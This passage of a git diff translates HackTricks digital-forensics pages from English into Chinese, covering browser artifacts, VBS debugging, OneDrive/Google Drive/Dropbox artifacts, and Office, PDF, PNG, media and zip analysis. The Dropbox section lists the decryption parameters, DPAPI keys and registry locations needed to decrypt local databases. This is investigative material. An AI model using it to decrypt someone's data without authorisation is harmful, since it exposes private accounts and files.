`WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +Internet Explorer 的元数据存储在 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`(VX 为 V01、V16 或 V24)。此外,`V01.log` 文件可能显示与 `WebcacheVX.data` 的修改时间差异,表明需要使用 `esentutl /r V01 /d` 进行修复。此元数据存储在 ESE 数据库中,可以使用 photorec 和 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 等工具进行恢复和检查。在 **Containers** 表中,可以辨别每个数据段存储的特定表或容器,包括其他 Microsoft 工具(如 Skype)的缓存详细信息。 ### Cache Inspection -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) 工具允许检查缓存,需要缓存数据提取文件夹位置。缓存的元数据包括文件名、目录、访问计数、URL 来源和指示缓存创建、访问、修改和过期时间的时间戳。 ### Cookies Management -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +可以使用 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) 探索 cookies,元数据包括名称、URL、访问计数和各种时间相关的详细信息。持久性 cookies 存储在 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` 中,会话 cookies 存储在内存中。 ### Download Details -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +下载元数据可以通过 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 访问,特定容器中保存 URL、文件类型和下载位置等数据。物理文件可以在 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` 下找到。 ### Browsing History -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +要查看浏览历史,可以使用 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html),需要提取的历史文件位置和 Internet Explorer 的配置。这里的元数据包括修改和访问时间,以及访问计数。历史文件位于 `%userprofile%\Appdata\Local\Microsoft\Windows\History`。 ### Typed URLs -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +输入的 URL 及其使用时间存储在注册表中的 `NTUSER.DAT` 下的 `Software\Microsoft\InternetExplorer\TypedURLs` 和 `Software\Microsoft\InternetExplorer\TypedURLsTime`,跟踪用户输入的最后 50 个 URL 及其最后输入时间。 ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Microsoft Edge 将用户数据存储在 `%userprofile%\Appdata\Local\Packages` 中。各种数据类型的路径如下: - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` @@ -143,24 +133,24 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +Safari 数据存储在 `/Users/$User/Library/Safari`。关键文件包括: -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: 包含 `history_visits` 和 `history_items` 表,存储 URL 和访问时间戳。使用 `sqlite3` 查询。 +- **Downloads.plist**: 有关下载文件的信息。 +- **Bookmarks.plist**: 存储书签的 URL。 +- **TopSites.plist**: 最常访问的网站。 +- **Extensions.plist**: Safari 浏览器扩展的列表。使用 `plutil` 或 `pluginkit` 检索。 +- **UserNotificationPermissions.plist**: 允许推送通知的域。使用 `plutil` 进行解析。 +- **LastSession.plist**: 上一会话的标签。使用 `plutil` 进行解析。 +- **Browser’s built-in anti-phishing**: 使用 `defaults read com.apple.Safari WarnAboutFraudulentWebsites` 检查。响应为 1 表示该功能已启用。 ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +Opera 的数据位于 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`,并与 Chrome 的历史和下载格式相同。 -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’s built-in anti-phishing**: 通过检查 Preferences 文件中的 `fraud_protection_enabled` 是否设置为 `true` 来验证,使用 `grep`。 -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +这些路径和命令对于访问和理解不同网络浏览器存储的浏览数据至关重要。 ## References @@ -169,12 +159,5 @@ These paths and commands are crucial for accessing and understanding the browsin - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..0398ce4af 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +一些可以用于调试/去混淆恶意 VBS 文件的有用工具: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## 评论 ```bash ' this is a comment ``` - -## Test - +## 测试 ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## 将数据写入文件 ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index f64869c3c..258e004fc 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,114 +1,96 @@ -# Local Cloud Storage +# 本地云存储 {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} - ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +在Windows中,您可以在 `\Users\\AppData\Local\Microsoft\OneDrive` 找到OneDrive文件夹。在 `logs\Personal` 中,可以找到文件 `SyncDiagnostics.log`,其中包含有关同步文件的一些有趣数据: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- 字节大小 +- 创建日期 +- 修改日期 +- 云中的文件数量 +- 文件夹中的文件数量 +- **CID**:OneDrive用户的唯一ID +- 报告生成时间 +- 操作系统的HD大小 -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +一旦找到CID,建议**搜索包含此ID的文件**。您可能会找到名为:_**\.ini**_ 和 _**\.dat**_ 的文件,这些文件可能包含与OneDrive同步的文件名称等有趣信息。 ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +在Windows中,您可以在 `\Users\\AppData\Local\Google\Drive\user_default` 找到主要的Google Drive文件夹\ +此文件夹包含一个名为Sync_log.log的文件,其中包含帐户的电子邮件地址、文件名、时间戳、文件的MD5哈希等信息。即使是已删除的文件也会出现在该日志文件中,并带有相应的MD5。 -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +文件 **`Cloud_graph\Cloud_graph.db`** 是一个sqlite数据库,包含表 **`cloud_graph_entry`**。在此表中,您可以找到**同步**文件的**名称**、修改时间、大小和文件的MD5校验和。 -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +数据库 **`Sync_config.db`** 的表数据包含帐户的电子邮件地址、共享文件夹的路径和Google Drive版本。 ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropbox使用**SQLite数据库**来管理文件。在此\ +您可以在以下文件夹中找到数据库: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +主要数据库包括: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +“.dbx”扩展名意味着**数据库**是**加密的**。Dropbox使用**DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +要更好地理解Dropbox使用的加密,您可以阅读 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)。 -However, the main information is: +然而,主要信息是: -- **Entropy**: d114a55212655f74bd772e37e64aee9b -- **Salt**: 0D638C092E8B82FC452883F95F355B8E -- **Algorithm**: PBKDF2 -- **Iterations**: 1066 +- **熵**:d114a55212655f74bd772e37e64aee9b +- **盐**:0D638C092E8B82FC452883F95F355B8E +- **算法**:PBKDF2 +- **迭代次数**:1066 -Apart from that information, to decrypt the databases you still need: +除此之外,要解密数据库,您还需要: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- **加密的DPAPI密钥**:您可以在注册表中找到它,路径为 `NTUSER.DAT\Software\Dropbox\ks\client`(将此数据导出为二进制) +- **`SYSTEM`** 和 **`SECURITY`** 注册单元 +- **DPAPI主密钥**:可以在 `\Users\\AppData\Roaming\Microsoft\Protect` 找到 +- Windows用户的**用户名**和**密码** -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +然后您可以使用工具 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** ![](<../../../images/image (443).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +如果一切顺利,该工具将指示您需要**用来恢复原始密钥的主密钥**。要恢复原始密钥,只需使用此 [cyber_chef receipt](),将主密钥作为“密码短语”放入配方中。 +生成的十六进制是用于加密数据库的最终密钥,可以用来解密: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +**`config.dbx`** 数据库包含: -The **`config.dbx`** database contains: +- **Email**: 用户的电子邮件 +- **usernamedisplayname**: 用户的名称 +- **dropbox_path**: Dropbox 文件夹所在的路径 +- **Host_id: Hash** 用于认证到云端。只能从网页上撤销。 +- **Root_ns**: 用户标识符 -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +**`filecache.db`** 数据库包含与 Dropbox 同步的所有文件和文件夹的信息。表 `File_journal` 是包含更多有用信息的表: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: 文件在服务器内部的路径(该路径前面有客户端的 `host_id`)。 +- **local_sjid**: 文件的版本 +- **local_mtime**: 修改日期 +- **local_ctime**: 创建日期 -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +该数据库中的其他表包含更有趣的信息: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: Dropbox 所有文件和文件夹的哈希 +- **block_ref**: 将表 `block_cache` 的哈希 ID 与表 `file_journal` 中的文件 ID 关联 +- **mount_table**: Dropbox 的共享文件夹 +- **deleted_fields**: Dropbox 删除的文件 - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 2e07c739d..7bf15cedb 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -2,35 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+有关更多信息,请查看 [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)。这只是一个摘要: -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +微软创建了许多办公文档格式,主要有两种类型:**OLE 格式**(如 RTF、DOC、XLS、PPT)和 **Office Open XML (OOXML) 格式**(如 DOCX、XLSX、PPTX)。这些格式可以包含宏,使其成为网络钓鱼和恶意软件的目标。OOXML 文件结构为 zip 容器,可以通过解压缩进行检查,揭示文件和文件夹层次结构及 XML 文件内容。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} +要探索 OOXML 文件结构,提供了解压文档的命令和输出结构。隐藏数据的技术已被记录,表明在 CTF 挑战中数据隐蔽的持续创新。 -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +对于分析,**oletools** 和 **OfficeDissector** 提供了全面的工具集,用于检查 OLE 和 OOXML 文档。这些工具有助于识别和分析嵌入的宏,这些宏通常作为恶意软件传递的载体,通常下载并执行额外的恶意负载。可以利用 Libre Office 对 VBA 宏进行分析,而无需 Microsoft Office,这允许使用断点和监视变量进行调试。 +**oletools** 的安装和使用非常简单,提供了通过 pip 安装和从文档中提取宏的命令。宏的自动执行由 `AutoOpen`、`AutoExec` 或 `Document_Open` 等函数触发。 ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 769407b3a..f244866af 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# PDF 文件分析 {{#include ../../../banners/hacktricks-training.md}} -
+**有关更多详细信息,请查看:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +PDF 格式因其复杂性和潜在的数据隐藏能力而闻名,使其成为 CTF 取证挑战的焦点。它结合了纯文本元素和二进制对象,这些对象可能被压缩或加密,并且可以包含 JavaScript 或 Flash 等语言的脚本。要理解 PDF 结构,可以参考 Didier Stevens 的 [入门材料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/),或使用文本编辑器或 PDF 专用编辑器如 Origami。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %} +对于 PDF 的深入探索或操作,可以使用 [qpdf](https://github.com/qpdf/qpdf) 和 [Origami](https://github.com/mobmewireless/origami-pdf) 等工具。PDF 中的隐藏数据可能隐藏在: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- 隐形图层 +- Adobe 的 XMP 元数据格式 +- 增量生成 +- 与背景颜色相同的文本 +- 图像后面的文本或重叠的图像 +- 不显示的评论 -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +对于自定义 PDF 分析,可以使用 Python 库如 [PeepDF](https://github.com/jesparza/peepdf) 来制作定制的解析脚本。此外,PDF 隐藏数据存储的潜力非常巨大,以至于像 NSA 关于 PDF 风险和对策的指南,尽管不再托管在其原始位置,但仍提供了有价值的见解。可以参考 [该指南的副本](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%Bútmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) 和 Ange Albertini 的 [PDF 格式技巧集合](https://github.com/corkami/docs/blob/master/PDF/PDF.md) 以获取更多阅读材料。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..d33b50dcb 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +**PNG 文件**在 **CTF 挑战**中备受推崇,因为它们具有 **无损压缩**,使其非常适合嵌入隐藏数据。像 **Wireshark** 这样的工具可以通过解析网络数据包中的 PNG 文件来分析它们,揭示嵌入的信息或异常。 -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +为了检查 PNG 文件的完整性和修复损坏,**pngcheck** 是一个关键工具,提供命令行功能来验证和诊断 PNG 文件 ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html))。当文件超出简单修复的范围时,像 [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) 这样的在线服务提供基于网络的解决方案来 **修复损坏的 PNG**,帮助 CTF 参与者恢复重要数据。 -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +这些策略强调了在 CTF 中采用全面方法的重要性,利用分析工具和修复技术的结合来发现和恢复隐藏或丢失的数据。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index 3d2103987..9c3a4785a 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,16 +1,16 @@ {{#include ../../../banners/hacktricks-training.md}} -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +**音频和视频文件操作** 是 **CTF 取证挑战** 的一个重要组成部分,利用 **隐写术** 和元数据分析来隐藏或揭示秘密信息。工具如 **[mediainfo](https://mediaarea.net/en/MediaInfo)** 和 **`exiftool`** 对于检查文件元数据和识别内容类型至关重要。 -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +对于音频挑战,**[Audacity](http://www.audacityteam.org/)** 是查看波形和分析频谱图的首选工具,对于揭示音频中编码的文本至关重要。**[Sonic Visualiser](http://www.sonicvisualiser.org/)** 被高度推荐用于详细的频谱图分析。**Audacity** 允许音频操作,如减慢或反转音轨以检测隐藏信息。**[Sox](http://sox.sourceforge.net/)** 是一个命令行实用程序,擅长转换和编辑音频文件。 -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. +**最低有效位 (LSB)** 操作是音频和视频隐写术中的一种常见技术,利用固定大小的媒体文件块来隐蔽地嵌入数据。**[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** 对于解码隐藏为 **DTMF 音调** 或 **摩尔斯电码** 的信息非常有用。 -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. +视频挑战通常涉及将音频和视频流打包的容器格式。**[FFmpeg](http://ffmpeg.org/)** 是分析和操作这些格式的首选工具,能够进行解复用和播放内容。对于开发者,**[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** 将 FFmpeg 的功能集成到 Python 中,以实现高级可脚本交互。 -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. +这一系列工具突显了 CTF 挑战中所需的多样性,参与者必须运用广泛的分析和操作技术,以揭示音频和视频文件中的隐藏数据。 -## References +## 参考文献 - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..e6d67b3ba 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for 